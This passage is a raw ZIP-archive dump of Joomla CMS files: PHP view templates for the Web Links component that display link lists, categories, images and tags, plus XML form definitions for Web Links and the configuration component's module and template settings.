                                $modalId                   = 'weblink-item-modal-' . $item->id;
                                $modalParams['title']      = $this->escape($item->title);
                                $modalParams['url']        = $link;
                                $modalParams['height']     = '100%';
                                $modalParams['width']      = '100%';
                                $modalParams['bodyHeight'] = 70;
                                $modalParams['modalWidth'] = 80;
                                echo HTMLHelper::_('bootstrap.renderModal', $modalId, $modalParams);
                                echo '<button type="button" class="btn btn-link" data-bs-toggle="modal" data-bs-target="#' . $modalId . '">
								  ' . $item->title . '
								</button>';

                                break;
                            default:
                                // Open in parent window
                                echo '<a href="' . $link . '" class="' . $menuclass . '" rel="nofollow">' .
                                    $this->escape($item->title) . ' </a>';

                                break;
                        }
                        ?>
                            <?php if ($this->params->get('show_link_hits', 1)) :
                                ?>
                                <div class="list-hits badge bg-info float-end">
                                    <?php echo Text::sprintf('JGLOBAL_HITS_COUNT', $item->hits); ?>
                                </div>
                                <?php
                            endif; ?>

                            <?php if ($this->params->get('show_tags', 1) && !empty($item->tags->itemTags)) :
                                ?>
                                <div class="mt-2 mb-2">
                                    <?php echo LayoutHelper::render('joomla.content.tags', $item->tags->itemTags); ?>
                              </div>
                                <?php
                            endif; ?>

                            <?php if ($this->params->get('show_link_description') && ($item->description != '')) :
                                ?>
                              <div class="mt-2 mb-2">
                                    <?php $images = json_decode($item->images); ?>
                                    <?php if (!empty($images->image_first)) :
                                        ?>
                                        <?php $imgFloat = '';?>
                                        <?php if (!empty($images->float_first)) :
                                            ?>
                                            <?php $imgFloat = $images->float_first == 'right' ? 'float-end' : 'float-start'; ?>
                                            <?php
                                        endif; ?>
                                        <?php $img      = HTMLHelper::cleanImageURL($images->image_first); ?>
                                        <?php $alt      = empty($images->image_first_alt) && empty($images->image_first_alt_empty)
                                            ? ''
                                            : 'alt="' . htmlspecialchars($images->image_first_alt, ENT_COMPAT, 'UTF-8') . '"'; ?>
                                        <figure class="item-image <?php echo $imgFloat; ?>">
                                            <img src="<?php echo htmlspecialchars($img->url, ENT_COMPAT, 'UTF-8'); ?>"
                                                    <?php echo $alt; ?> itemprop="thumbnail" />
                                            <?php if (!empty($images->image_first_caption)) :
                                                ?>
                                                <figcaption class="caption"><?php echo htmlspecialchars($images->image_first_caption, ENT_COMPAT, 'UTF-8'); ?></figcaption>
                                                <?php
                                            endif; ?>
                                      </figure>
                                        <?php
                                    endif; ?>

                                    <?php  if (!empty($images->image_second)) :
                                        ?>
                                        <?php $imgFloat = ''; ?>
                                        <?php if (!empty($images->float_second)) :
                                            ?>
                                            <?php $imgFloat = $images->float_second == 'right' ? 'float-end' : 'float-start'; ?>
                                            <?php
                                        endif; ?>
                                        <?php $img      = HTMLHelper::cleanImageURL($images->image_second); ?>
                                        <?php $alt      = empty($images->image_second_alt) && empty($images->image_second_alt_empty)
                                            ? ''
                                            : 'alt="' . htmlspecialchars($images->image_second_alt, ENT_COMPAT, 'UTF-8') . '"'; ?>
                                        <figure class="item-image <?php echo $imgFloat; ?>">
                                            <img src="<?php echo htmlspecialchars($img->url, ENT_COMPAT, 'UTF-8'); ?>"
                                                    <?php echo $alt; ?> itemprop="thumbnail" />
                                            <?php if (!empty($images->image_second_caption)) :
                                                ?>
                                                <figcaption class="caption"><?php echo htmlspecialchars($images->image_second_caption, ENT_COMPAT, 'UTF-8'); ?></figcaption>
                                                <?php
                                            endif; ?>
                                       </figure>
                                        <?php
                                    endif; ?>

                                    <?php echo $item->description; ?>

                              </div>
                                <?php
                            endif; ?>

                        </div>

                    </li>
                    <?php
                endforeach; ?>
         </ul>

            <?php if ($this->params->get('show_pagination')) :
                ?>
               <div class="com-weblinks-category__counter w-100">
                    <?php if ($this->params->def('show_pagination_results', 1)) :
                        ?>
                        <p class="com-weblinks-category__counter counter float-end pt-3 pe-2">
                            <?php echo $this->pagination->getPagesCounter(); ?>
                     </p>
                        <?php
                    endif; ?>

                    <?php echo $this->pagination->getPagesLinks(); ?>
                </div>
                <?php
            endif; ?>

            <?php
        endif; ?>

        <?php if ($canCreate) :
            ?>
            <?php echo HTMLHelper::_('weblinkicon.create', $this->category, $this->category->params); ?>
            <?php
        endif; ?>
   </form>
</div>
PK���\6V�
�
/com_weblinks/tmpl/category/default_children.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Weblinks\Site\Helper\RouteHelper;

if ($this->maxLevel != 0 && count($this->children[$this->category->id]) > 0) :
    ?>
   <ul class="com-weblinks-category__children list-group list-unstyled">
        <?php foreach ($this->children[$this->category->id] as $id => $child) :
            ?>
            <?php if ($this->params->get('show_empty_categories') || $child->numitems || count($child->getChildren())) :
                ?>
               <li class="list-group-item">
                   <div  class="item-title">
                        <a href="<?php echo Route::_(RouteHelper::getCategoryRoute($child->id, $child->language)); ?>">
                            <?php echo $this->escape($child->title); ?>
                      </a>

                        <?php if ($this->params->get('show_cat_num_links') == 1) :
                            ?>
                            <span class="badge bg-info float-end" title="<?php echo Text::_('COM_WEBLINKS_CAT_NUM'); ?>"><?php echo $child->numitems; ?></span>
                            <?php
                        endif; ?>
                    </div>

                    <?php if ($this->params->get('show_subcat_desc') == 1) :
                        ?>
                        <?php if ($child->description) :
                            ?>
                            <div class="category-desc">
                                <?php echo HTMLHelper::_('content.prepare', $child->description, '', 'com_weblinks.category'); ?>
                          </div>
                            <?php
                        endif; ?>
                        <?php
                    endif; ?>

                    <?php if (count($child->getChildren()) > 0) :
                        $this->children[$child->id] = $child->getChildren();
                        $this->category = $child;
                        $this->maxLevel--;
                        echo $this->loadTemplate('children');
                        $this->category = $child->getParent();
                        $this->maxLevel++;
                    endif; ?>
              </li>
                <?php
            endif; ?>
            <?php
        endforeach; ?>
 </ul>
    <?php
endif; ?>
PK���\���ss%com_weblinks/tmpl/weblink/default.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_WEBLINKS_WEBLINK_VIEW_DEFAULT_TITLE" option="COM_WEBLINKS_WEBLINK_VIEW_DEFAULT_OPTION">
		<message>
			<![CDATA[COM_WEBLINKS_WEBLINK_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<fields name="request">
		<fieldset
			name="request"
			addfieldprefix="Joomla\Component\Weblinks\Administrator\Field"
		>

			<field name="id"
				type="modal_weblink"
				label="COM_WEBLINKS_FIELD_SELECT_WEBLINK_LABEL"
				required="true"
				select="true"
				new="true"
				edit="true"
				clear="true"
			/>
		</fieldset>
	</fields>
</metadata>
PK���\���RR%com_weblinks/tmpl/weblink/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\String\PunycodeHelper;

$weblinkUrl = PunycodeHelper::urlToUTF8($this->item->url);
$user      = Factory::getApplication()->getIdentity();
$canEdit = $user->authorise('core.edit', 'com_weblinks.category.' . $this->item->catid);
if (!$canEdit) {
    $canEditOwn = $user->authorise('core.edit.own', 'com_weblinks.category.' . $this->item->catid);
    $canEdit    = $canEditOwn && $this->item->created_by == $user->id;
}
?>
<div class="item-page">
    <meta itemprop="inLanguage" content="<?php echo ($this->item->language === '*') ? Factory::getApplication()->get('language') : $this->item->language; ?>" />
  <div class="page-header">
      <h2 itemprop="headline">
            <?php echo $this->escape($this->item->title); ?>
      </h2>
  </div>
    <?php if ($canEdit) :
        ?>
        <div class="icons">
            <div class="float-end">
                <div>
                    <?php echo HTMLHelper::_('weblinkicon.edit', $this->item, $this->item->params); ?>
               </div>
         </div>
     </div>
        <?php
    endif; ?>

    <?php // Content is generated by content plugin event "onContentAfterTitle" ?>
    <?php echo $this->item->event->afterDisplayTitle; ?>

    <?php // Content is generated by content plugin event "onContentBeforeDisplay" ?>
    <?php echo $this->item->event->beforeDisplayContent; ?>

    <div itemprop="articleBody">
       <div class="p-3">
            <a href="<?php echo $weblinkUrl; ?>" target="_blank" itemprop="url">
                <?php echo $weblinkUrl; ?>
          </a>
       </div>

        <?php if ($this->params->get('show_tags', 1) && !empty($this->item->tags->itemTags)) :
            ?>
          <div class="p-2">
                <?php echo LayoutHelper::render('joomla.content.tags', $this->item->tags->itemTags); ?>
          </div>
            <?php
        endif; ?>

        <div class="p-3">
            <?php $images = json_decode($this->item->images); ?>
            <?php if (!empty($images->image_first)) :
                ?>
                <?php $imgFloat = '';?>
                <?php if (!empty($images->float_first)) :
                    ?>
                    <?php $imgFloat = $images->float_first == 'right' ? 'float-end' : 'float-start'; ?>
                    <?php
                endif; ?>
                <?php $img      = HTMLHelper::cleanImageURL($images->image_first); ?>
                <?php $alt      = empty($images->image_first_alt) && empty($images->image_first_alt_empty)
                    ? ''
                    : 'alt="' . htmlspecialchars($images->image_first_alt, ENT_COMPAT, 'UTF-8') . '"'; ?>
                <figure class="item-image <?php echo $imgFloat; ?>">
                    <img src="<?php echo htmlspecialchars($img->url, ENT_COMPAT, 'UTF-8'); ?>"
                            <?php echo $alt; ?> itemprop="thumbnail" />
                    <?php if (!empty($images->image_first_caption)) :
                        ?>
                        <figcaption class="caption"><?php echo htmlspecialchars($images->image_first_caption, ENT_COMPAT, 'UTF-8'); ?></figcaption>
                        <?php
                    endif; ?>
              </figure>
                <?php
            endif; ?>

            <?php  if (!empty($images->image_second)) :
                ?>
                <?php $imgFloat = ''; ?>
                <?php if (!empty($images->float_second)) :
                    ?>
                    <?php $imgFloat = $images->float_second == 'right' ? 'float-end' : 'float-start'; ?>
                    <?php
                endif; ?>
                <?php $img      = HTMLHelper::cleanImageURL($images->image_second); ?>
                <?php $alt      = empty($images->image_second_alt) && empty($images->image_second_alt_empty)
                    ? ''
                    : 'alt="' . htmlspecialchars($images->image_second_alt, ENT_COMPAT, 'UTF-8') . '"'; ?>
                <figure class="item-image <?php echo $imgFloat; ?>">
                    <img src="<?php echo htmlspecialchars($img->url, ENT_COMPAT, 'UTF-8'); ?>"
                            <?php echo $alt; ?> itemprop="thumbnail" />
                    <?php if (!empty($images->image_second_caption)) :
                        ?>
                        <figcaption class="caption"><?php echo htmlspecialchars($images->image_second_caption, ENT_COMPAT, 'UTF-8'); ?></figcaption>
                        <?php
                    endif; ?>
               </figure>
                <?php
            endif; ?>

            <?php  if (!empty($this->item->description)) :
                ?>
                <?php echo $this->item->description; ?>
                <?php
            endif; ?>

      </div>

    </div>
    <?php // Content is generated by content plugin event "onContentAfterDisplay" ?>
    <?php echo $this->item->event->afterDisplayContent; ?>
</div>
PK���\mP/II(com_weblinks/tmpl/categories/default.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_WEBLINKS_CATEGORIES_VIEW_DEFAULT_TITLE" option="com_weblinks_categories_view_default_option">
		<help
			key="Menus_Menu_Item_Weblink_Categories"
		/>
		<message>
			<![CDATA[COM_WEBLINKS_CATEGORIES_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request"
		>
			<field
				name="id"
				type="category"
				label="JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_LABEL"
				extension="com_weblinks"
				show_root="true"
				required="true"
			/>
		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">
		<fieldset name="basic" label="JGLOBAL_CATEGORIES_OPTIONS">
			<field
				name="show_base_description"
				type="list"
				label="JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_LABEL"
				class="form-select-color-state"
				useglobal="true"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="categories_description"
				type="textarea"
				label="JGLOBAL_FIELD_CATEGORIES_DESC_LABEL"
				cols="25"
				rows="5"
			/>

			<field
				name="maxLevelcat"
				type="list"
				label="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="-1">JALL</option>
				<option value="1">J1</option>
				<option value="2">J2</option>
				<option value="3">J3</option>
				<option value="4">J4</option>
				<option value="5">J5</option>

			</field>

			<field
				name="show_empty_categories_cat"
				type="list"
				label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_subcat_desc_cat"
				type="list"
				label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_cat_num_links_cat"
				type="list"
				label="COM_WEBLINKS_FIELD_CONFIG_CAT_SHOWNUMBERS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>

		<fieldset name="category" label="JGLOBAL_CATEGORY_OPTIONS" description="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL">
			<field
				name="show_category_title"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_TITLE"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_description"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_description_image"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="maxLevel"
				type="list"
				label="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JNONE</option>
				<option value="-1">JALL</option>
				<option value="1">J1</option>
				<option value="2">J2</option>
				<option value="3">J3</option>
				<option value="4">J4</option>
				<option value="5">J5</option>
			</field>

			<field
				name="show_empty_categories"
				type="list"
				label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_subcat_desc"
				type="list"
				label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_cat_num_links"
				type="list"
				label="COM_WEBLINKS_FIELD_CONFIG_CAT_SHOWNUMBERS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

		</fieldset>

		<fieldset name="advanced" label="JGLOBAL_LIST_LAYOUT_OPTIONS" description="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL">
			<field
				name="filter_field"
				type="list"
				label="JGLOBAL_FILTER_FIELD_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_pagination_limit"
				type="list"
				label="JGLOBAL_DISPLAY_SELECT_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_link_description"
				type="list"
				label="COM_WEBLINKS_FIELD_CONFIG_LINKDESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_link_hits"
				type="list"
				label="JGLOBAL_HITS"
				useglobal="true"
				class="form-select-color-state"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_pagination"
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>

			<field
				name="show_pagination_results"
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>

	</fields>
</metadata>
PK���\�_wp��(com_weblinks/tmpl/categories/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

// Add strings for translations in Javascript.
Text::script('JGLOBAL_EXPAND_CATEGORIES');
Text::script('JGLOBAL_COLLAPSE_CATEGORIES');
/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->getRegistry()->addExtensionRegistryFile('com_categories');
$wa->usePreset('com_categories.shared-categories-accordion');

?>
<div class="com-weblinks-categories categories-list">
    <?php
    echo LayoutHelper::render('joomla.content.categories_default', $this);
    echo $this->loadTemplate('items');
    ?>
</div>
PK���\�u�ZZ.com_weblinks/tmpl/categories/default_items.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Weblinks\Site\Helper\RouteHelper;

if ($this->maxLevelcat != 0 && count($this->items[$this->parent->id]) > 0) :
    ?>
 <div class="com-content-categories__items">
        <?php foreach ($this->items[$this->parent->id] as $id => $item) :
            ?>
            <?php if ($this->params->get('show_empty_categories_cat') || $item->numitems || count($item->getChildren())) :
                ?>
         <div class="com-content-categories__item">
             <div class="w-100">
                    <a href="<?php echo Route::_(RouteHelper::getCategoryRoute($item->id, $item->language)); ?>">
                        <?php echo $this->escape($item->title); ?></a>
                    <?php if ($this->params->get('show_cat_num_links_cat') == 1) :
                        ?>
                      <span class="badge bg-info ">
                                <?php echo Text::_('COM_WEBLINKS_NUM_ITEMS'); ?>&nbsp;
                                <?php echo $item->numitems; ?>
                        </span>
                        <?php
                    endif; ?>
                    <?php if ($this->maxLevelcat > 1 && count($item->getChildren()) > 0) :
                        ?>
                      <button
                                type="button"
                                id="category-btn-<?php echo $item->id; ?>"
                                data-category-id="<?php echo $item->id; ?>"
                               class="btn btn-secondary btn-sm float-end"
                             aria-expanded="false"
                                aria-label="<?php echo Text::_('JGLOBAL_EXPAND_CATEGORIES'); ?>"
                     >
                          <span class="icon-plus" aria-hidden="true"></span>
                     </button>
                        <?php
                    endif; ?>
              </div>

                <?php if ($this->params->get('show_subcat_desc_cat') == 1 && !empty($item->description)) :
                    ?>
                  <div class="category-desc">
                        <?php echo HTMLHelper::_('content.prepare', $item->description, '', 'com_weblinks.categories'); ?>
                 </div>
                    <?php
                endif; ?>

                <?php if ($this->params->get('show_description_image') && !empty($item->getParams()->get('image'))) :
                    ?>
                    <?php
                        $params = $item->getParams();
                    $img = HTMLHelper::cleanImageURL($params->get('image'));
                    $alt = '';
                    if (!empty($params->get('image_alt'))) :
                        $alt = 'alt="' . htmlspecialchars($params->get('image_alt'), ENT_COMPAT, 'UTF-8') . '"';
                    elseif (!empty($params->get('image_alt_empty'))) :
                        $alt = 'alt=""';
                    endif;
                    ?>
                    <img src="<?php echo htmlspecialchars($img->url, ENT_COMPAT, 'UTF-8'); ?>"<?php echo $alt; ?>>
                    <?php
                endif; ?>


                <?php if ($this->maxLevelcat > 1 && count($item->getChildren()) > 0) :
                    ?>
                    <div class="com-content-categories__children" id="category-<?php echo $item->id; ?>" hidden>
                        <?php
                        $this->items[$item->id] = $item->getChildren();
                        $this->parent = $item;
                        $this->maxLevelcat--;
                        echo $this->loadTemplate('items');
                        $this->parent = $item->getParent();
                        $this->maxLevelcat++;
                        ?>
                    </div>
                    <?php
                endif; ?>
         </div>
                <?php
            endif; ?>
            <?php
        endforeach; ?>
    </div>
    <?php
endif; ?>
PK���\�q�9��com_weblinks/forms/weblink.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset addfieldprefix="Joomla\Component\Categories\Administrator\Field">
		<field
			name="id"
			type="hidden"
			label="WEBLINK_ID_LABEL"
			readonly="true"
			default="0"
		/>

		<field
			id="contenthistory"
			name="contenthistory"
			type="contenthistory"
			data-typeAlias="com_weblinks.weblink"
			label="JTOOLBAR_VERSIONS"
		/>

		<field
			name="title"
			type="text"
			label="JGLOBAL_TITLE"
			required="true"
		/>

		<field
			name="alias"
			type="text"
			label="JFIELD_ALIAS_LABEL"
			description="JFIELD_ALIAS_DESC"
			hint="JFIELD_ALIAS_PLACEHOLDER"
		/>

		<field
			name="description"
			type="editor"
			label="JGLOBAL_DESCRIPTION"
			buttons="true"
			hide="pagebreak,readmore"
			filter="safehtml"
			asset_id="com_weblinks"
		/>

		<field
			name="state"
			type="list"
			label="JSTATUS"
			class="form-select-color-state"
			size="1"
			default="1"
			validate="options"
			>
			<option value="1">JPUBLISHED</option>
			<option value="0">JUNPUBLISHED</option>
		</field>

		<field
			name="catid"
			type="categoryedit"
			label="JCATEGORY"
			extension="com_weblinks"
			required="true"
		/>

		<field
			name="url"
			type="url"
			label="COM_WEBLINKS_FIELD_URL_LABEL"
			filter="url"
			required="true"
		/>

		<field
			name="language"
			type="contentlanguage"
			label="JFIELD_LANGUAGE_LABEL"
			>
			<option value="*">JALL</option>
		</field>

		<field
			name="tags"
			type="tag"
			label="JTAG"
			multiple="true"
		/>

		<field
			name="version_note"
			type="text"
			label="JGLOBAL_FIELD_VERSION_NOTE_LABEL"
			maxlength="255"
		/>

		<field
			name="captcha"
			type="captcha"
			label="COM_WEBLINKS_CAPTCHA_LABEL"
			validate="captcha"
			namespace="weblink"
		/>
	</fieldset>

	<fields
		name="images"
		>
		<fieldset
			name="images"
			label="JGLOBAL_FIELDSET_IMAGE_OPTIONS"
			>
			<field
				name="image_first"
				type="media"
				label="COM_WEBLINKS_FIELD_FIRST_LABEL"
			/>

			<field
				name="float_first"
				type="list"
				label="COM_WEBLINKS_FLOAT_FIRST_LABEL"
				useglobal="true"
				>
				<option value="right">COM_WEBLINKS_RIGHT</option>
				<option value="left">COM_WEBLINKS_LEFT</option>
				<option value="none">COM_WEBLINKS_NONE</option>
			</field>

			<field
				name="image_first_alt"
				type="text"
				label="COM_WEBLINKS_FIELD_IMAGE_ALT_LABEL"
			/>

			<field
				name="image_first_alt_empty"
				type="checkbox"
				label="COM_WEBLINKS_FIELD_IMAGE_ALT_EMPTY_LABEL"
				description="COM_WEBLINKS_FIELD_IMAGE_ALT_EMPTY_DESC"
			/>

			<field
				name="image_first_caption"
				type="text"
				label="COM_WEBLINKS_FIELD_IMAGE_CAPTION_LABEL"
			/>

			<field
				name="spacer1"
				type="spacer"
				hr="true"
			/>

			<field
				name="image_second"
				type="media"
				label="COM_WEBLINKS_FIELD_SECOND_LABEL"
			/>

			<field
				name="float_second"
				type="list"
				label="COM_WEBLINKS_FLOAT_SECOND_LABEL"
				useglobal="true"
				>
				<option value="right">COM_WEBLINKS_RIGHT</option>
				<option value="left">COM_WEBLINKS_LEFT</option>
				<option value="none">COM_WEBLINKS_NONE</option>
			</field>

			<field
				name="image_second_alt"
				type="text"
				label="COM_WEBLINKS_FIELD_IMAGE_ALT_LABEL"
			/>

			<field
				name="image_second_alt_empty"
				type="checkbox"
				label="COM_WEBLINKS_FIELD_IMAGE_ALT_EMPTY_LABEL"
				description="COM_WEBLINKS_FIELD_IMAGE_ALT_EMPTY_DESC"
			/>

			<field
				name="image_second_caption"
				type="text"
				label="COM_WEBLINKS_FIELD_IMAGE_CAPTION_LABEL"
			/>
		</fieldset>
	</fields>

	<fields name="metadata">
		<fieldset
			name="jmetadata"
			label="JGLOBAL_FIELDSET_METADATA_OPTIONS"
			>
			<field
				name="robots"
				type="hidden"
				label="JFIELD_METADATA_ROBOTS_LABEL"
				filter="unset"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="index, follow" />
				<option value="noindex, follow" />
				<option value="index, nofollow" />
				<option value="noindex, nofollow" />
			</field>

			<field
				name="author"
				type="hidden"
				label="JAUTHOR"
				filter="unset"
			/>

			<field
				name="rights"
				type="hidden"
				label="JFIELD_META_RIGHTS_LABEL"
				filter="unset"
			/>

			<field
				name="xreference"
				type="hidden"
				label="COM_CONTENT_FIELD_XREFERENCE_LABEL"
				filter="unset"
			/>
		</fieldset>
	</fields>
</form>
PK���\�V�com_config/index.htmlnu&1i�<!DOCTYPE html><title></title>
PK���\O�4JJ%com_config/forms/modules_advanced.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<form>
	<fields name="params">
		<fieldset
			name="advanced">

			<field
				name="module_tag"
				type="moduletag"
				label="COM_MODULES_FIELD_MODULE_TAG_LABEL"
				default="div"
				validate="options"
			/>

			<field
				name="bootstrap_size"
				type="integer"
				label="COM_MODULES_FIELD_BOOTSTRAP_SIZE_LABEL"
				first="0"
				last="12"
				step="1"
			/>

			<field
				name="header_tag"
				type="headertag"
				label="COM_MODULES_FIELD_HEADER_TAG_LABEL"
				default="h3"
				validate="options"
			/>

			<field
				name="header_class"
				type="textarea"
				label="COM_MODULES_FIELD_HEADER_CLASS_LABEL"
				rows="3"
				validate="CssIdentifier"
			/>

			<field
				name="style"
				type="chromestyle"
				label="COM_MODULES_FIELD_MODULE_STYLE_LABEL"
			/>
		</fieldset>
	</fields>
</form>
PK���\�	�.		com_config/forms/modules.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<form>
	<fieldset>
		<field
			name="id"
			type="number"
			label="JGLOBAL_FIELD_ID_LABEL"
			default="0"
			readonly="true"
		/>

		<field
			name="title"
			type="text"
			label="JGLOBAL_TITLE"
			maxlength="100"
			required="true"
			size="35"
		/>

		<field
			name="note"
			type="text"
			label="COM_MODULES_FIELD_NOTE_LABEL"
			maxlength="255"
			size="35"
		/>

		<field
			name="module"
			type="hidden"
			label="COM_MODULES_FIELD_MODULE_LABEL"
			readonly="readonly"
			size="20"
		/>

		<field
			name="showtitle"
			type="radio"
			label="COM_MODULES_FIELD_SHOWTITLE_LABEL"
			layout="joomla.form.field.radio.switcher"
			default="1"
			size="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="published"
			type="list"
			label="JSTATUS"
			class="form-select-color-state"
			default="1"
			size="1"
			validate="options"
			>
			<option value="1">JPUBLISHED</option>
			<option value="0">JUNPUBLISHED</option>
			<option value="-2">JTRASHED</option>
		</field>

		<field
			name="publish_up"
			type="calendar"
			label="COM_MODULES_FIELD_PUBLISH_UP_LABEL"
			filter="user_utc"
			translateformat="true"
			showtime="true"
			size="22"
		/>

		<field
			name="publish_down"
			type="calendar"
			label="COM_MODULES_FIELD_PUBLISH_DOWN_LABEL"
			filter="user_utc"
			translateformat="true"
			showtime="true"
			size="22"
		/>

		<field
			name="client_id"
			type="hidden"
			label="COM_MODULES_FIELD_CLIENT_ID_LABEL"
			readonly="true"
			size="1"
		/>

		<field
			name="position"
			type="ModulesPositionedit"
			label="COM_MODULES_FIELD_POSITION_LABEL"
			addfieldprefix="Joomla\Component\Modules\Administrator\Field"
			default=""
			maxlength="50"
			client="site"
		/>

		<field
			name="access"
			type="accesslevel"
			label="JFIELD_ACCESS_LABEL"
			filter="UINT"
			validate="options"
		/>

		<field
			name="ordering"
			type="moduleorder"
			label="JFIELD_ORDERING_LABEL"
		/>

		<field
			name="content"
			type="editor"
			label="COM_MODULES_FIELD_CONTENT_LABEL"
			buttons="true"
			filter="JComponentHelper::filterText"
			hide="readmore,pagebreak"
		/>

		<field
			name="language"
			type="contentlanguage"
			label="JFIELD_LANGUAGE_LABEL"
			>
			<option value="*">JALL</option>
		</field>

		<field name="assignment" type="hidden" />

		<field name="assigned" type="hidden" />
	</fieldset>
</form>
PK���\�����com_config/forms/templates.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<form>
	<fieldset>
		<field
			name="id"
			type="number"
			label="JGLOBAL_FIELD_ID_LABEL"
			default="0"
			readonly="true"
			class="readonly"
		/>

		<field
			name="template"
			type="text"
			label="COM_TEMPLATES_FIELD_TEMPLATE_LABEL"
			class="readonly"
			size="30"
			readonly="true"
		/>

		<field
			name="client_id"
			type="hidden"
			label="COM_TEMPLATES_FIELD_CLIENT_LABEL"
			class="readonly"
			default="0"
